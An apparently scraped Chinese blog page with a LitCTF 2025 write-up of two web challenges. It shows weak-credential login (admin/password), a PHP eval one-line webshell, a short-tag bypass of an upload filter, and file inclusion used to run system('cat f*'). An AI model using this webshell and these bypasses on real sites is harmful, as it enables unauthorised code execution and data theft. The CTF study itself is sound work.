当前位置: 首页 > article >正文

2025LitCTF 复现

easy_file

登录界面

尝试admin 和密码1

没成功

结果尝试了弱口令 admin 用户和 password 密码就登录成功了

文件上传

新建一个空的 新建木马.txt 文件发现上传成功

然后写入一句话木马

<?php @eval($_POST['a']); ?>

上传失败

说明可能是有字符被过滤了,猜测是php标签,然后给它换成短标签

<?=@eval($_POST['a']);?>

发现上传成功,把文件名改一下吧,方便后面访问

结果抓包改后缀上传发现php后缀被过滤

尝试了各种后缀都上传失败,返回看有没有提示的时候突然反应过来题目名是 file,所以尝试一下任意文件读取

思路就是利用 file 读取上传的 xjmuma.txt 文件,然后文件就被解析咯,就可以get shell

那就 file=上传的文件(猜测在当前目录下的 uploads/xjmuma.txt 目录)

发现可以查看 php 配置信息,说明木马文件被解析了

但是这样有一个问题,蚁剑是连不上包含的地址的

所以还是只能用system系统执行命令

system('cat f*');

然后一cat就出flag了

nest_js

又是一个登录界面

也不知道是环境出问题了还是怎么,直接同样用弱口令 admin 用户和 password 密码就登录得到flag了

而且flag是对的

更新中 ing......

http://www.lryc.cn/news/2393341.html

相关文章:

  • 英语中最难学的部分是时态‌
  • Python 如何让自动驾驶的“眼睛”和“大脑”真正融合?——传感器数据融合的关键技术解析
  • 使用C# 快速删除Excel表格中的重复行数据-详解
  • WPF-Prism学习笔记之 “导航功能和依赖注入“
  • 中国城市间地理距离矩阵(2024)
  • 【孙悟空喝水】2022-2-7
  • `sysctl`命令深度剖析:如何优化内核参数以提升服务器网络/IO性能?
  • AxumStatusCode细化Rust Web标准格式响应
  • 【备战秋招】C++音视频开发经典面试题整理
  • 【音频处理】java流式调用ffmpeg命令
  • 《java创世手记》---java基础篇(下)
  • 【MySQL】C语言连接
  • How API Gateways handle raw TCP packets
  • 芯片配置文件自动化生成
  • 新能源汽车与油车销量
  • LVS-DR 负载均衡集群
  • 基于Java,SpringBoot,Vue,UniAPP宠物洗护医疗喂养预约服务商城小程序管理系统设计
  • 中车靶场,网络安全暑期实训营
  • 2.2.2 06年T1
  • split_conversion将json转成yolo训练用的txt,在直接按照8:1:1的比例分成训练集,测试集,验证集
  • 响应式系统与Spring Boot响应式应用开发
  • 【第1章 基础知识】1.8 在 Canvas 中使用 HTML 元素
  • c++流之sstream/堆or优先队列的应用[1]
  • SAR ADC 比较器噪声分析(二)
  • c#与java的相同点和不同点
  • phpmyadmin
  • 机器学习Day5-模型诊断
  • 如何将 WSL 的 Ubuntu-24.04 迁移到其他电脑
  • 金融欺诈有哪些检测手段
  • HTML5 全面知识点总结